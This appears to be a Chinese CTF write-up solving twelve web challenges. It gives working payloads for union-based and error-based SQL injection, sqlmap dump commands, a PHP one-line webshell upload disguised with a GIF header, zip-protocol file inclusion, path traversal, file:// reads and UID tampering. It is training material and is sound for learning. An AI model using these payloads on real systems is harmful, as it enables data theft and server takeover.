1.Flag参数
题目提示随便用flag值作为post的值。
那么随便post一个值
flag的值大于十位就可以得到flag了
2.input
(提交的内容即为答案)
1.查看源代码,发现str值即为flag
2.用控制台跑一下脚本
拿下flag
3.企业小白运维人员
(有些企业小白运维人员会在服务器上直接做文件备份,比如将一个.php文件备份成.php.bak文件。)
1.访问index.php.bak文件,查看源码。
2.get传值user值和password值即可得flag
4.100块钱都不给我
1.后台扫一扫,去读robots.txt文件
2.得到robots.txt的提示,其访问index.php1文件
3.得到提示,发现ctf值会成为函数名执行,get传值,执行phpinfo();
.
5.搜what?
初步判断是SQL注入,大家应该知道手注,而且这是post传值,这次教大家用sqlmap工具
手注方式:
word=1'or 1=1 order by 3#&&number=5
查询字段数为3
word=1'or 1=1 union select 1,2,3#&&number=5
发现三个字段都有回显
word=1'or 1=1 union select 1,database(),3 #&number=1
爆数据库,为news
word=1' union select 1,table_name,3 from information_schema.tables where table_schema=database()#&number=5
发现表名admin
word=1' union select 1,column_name,3 from information_schema.columns where table_name='admin'#&number=5
找到flag
word=1' union select 1,flag,3 from admin#&number=5
sqlmap:
1.burp抓包,保存消息头,或者直接send to sqlmap(已给burp装sqlmap插件的情况下)
2.payload(***为文件路径)(保存消息头到虚拟机跑的)
sqlmap -r"***/1.txt" -p word --current-db
sqlmap -r"***/1.txt" -p word -D news --tables
sqlmap -r"***/1.txt" -p word -D news -T admin --columns
sqlmap -r"***/1.txt" -p word -D news -T admin -C flag --dump
6.来上传
看来要上传一句话木马才能得到flag
1.随便传个php文件试试
2.看来要上传gif文件,试试改文件后缀名(亲测也不行)
3.试试幻数绕过(burp抓包改文件头)
小技巧:如果你不知道gif文件头是啥,要先传真的gif文件,可以看见文件头是GIF98a,把GIF89a文件头后的内容换成一句话木马,再把文件后缀改成php。
7.包罗万象
1.上传包含有一句话木马文件的zip,回显给绝对路径
2.用zip协议的方式访问,post传值,读取flag.php文件,得到flag。
tips:由于flag.php文件不能直接cat方式读取,这里用base64的方式读取flag.php文件,直接回显flag值的base64值,decode即可。
8.啊!核弹!
1.页面有flag字样,点击提示没有权限
2.burp 抓包,发现uid值得post传值
发现给的目录是owner_bugs
3.改uid的值为1的时候
发现flag字样
3.直接访问flag目录即可
tips:本题考察的是linux的越权控制,在登录Linux时,看起来是登录的账号,其实在计算机中仅仅认识ID,而每个登录的用户都会取得两个
ID这就是GID与UID。UID也称为用户ID(UserID),GID也称为用户组ID(Group ID)。操作系统就是利用它两来判断文件的所有者与用户组的。用户的UID大于500的都是非系统账号,500以下的都为系统保留的账号,比如root账号,至高权限的账号的UID为0。参考:https://www.jianshu.com/p/b221ee13bf89
9.这密码到底是啥?
手注:报错注入的方式
1.user=Username' and updatexml(1,concat(1,database(),0x7e),1)#
2.Username' and updatexml(1,concat(1,(select table_name from information_schema.tables where table_schema='manager_haha' LIMIT 0,1),0x7e),1)#
3.user=Username' and updatexml(1,concat(1,(select column_name from information_schema.columns where table_name='admin' limit 3,1),0x7e),1)#
他这里回显只能一个一个文件爆库,所以要用limit一个一个找
4.user=Username' and updatexml(1,concat(1,(select f149_k3y from admin),0x7e),1)#
1.初步猜想是sql注入。
2.抓包直接SQLmap跑(对于post值中的user值进行注入)
(然而我是不行的,https://www.jianshu.com/p/b221ee13bf89,这文章的大佬可以)think:可能跟题目中有个js脚本关系,它是检测你的user值,要纯字母,开noscrip可以手注报错注入,但sqlmap就不行(之后我再想想)
10.dota
后台发现www.zip,下载文件,直接可读flag,但这不是预期解,这题考的是代码审计。
他这过滤了英文字符,防止我们直接去读flag。
这里想到linux命令下的*字符,
url/index.php?act=news&nid=../*
直接读所有文件,审查元素即可得到flag。
11.看你有什么办法
1.根据源码中的提示,访问index.bak
2.index.bak中发现file协议没有被过滤
3.直接用file协议读flag,但是这里貌似过滤了ip。
web中用到file协议需要直接访问绝对路径下的文件才能
example:file://(绝对路径)/(文件名)
这里用localhost代替ip地址,直接读flag
12.X集团超级无敌新闻网站
1.点击页面中随便一条新闻,猜测url有注入点,sql一跑——并没有
2.扫后台,发现admin后台,需要密码,还有一个left.jps文件
3.访问left.jps,需要开启noscript
4.直接点击flag是没有的,在新闻管理中随便编辑文章有个注入点
sqlmap去得到登录密码
5.获取flag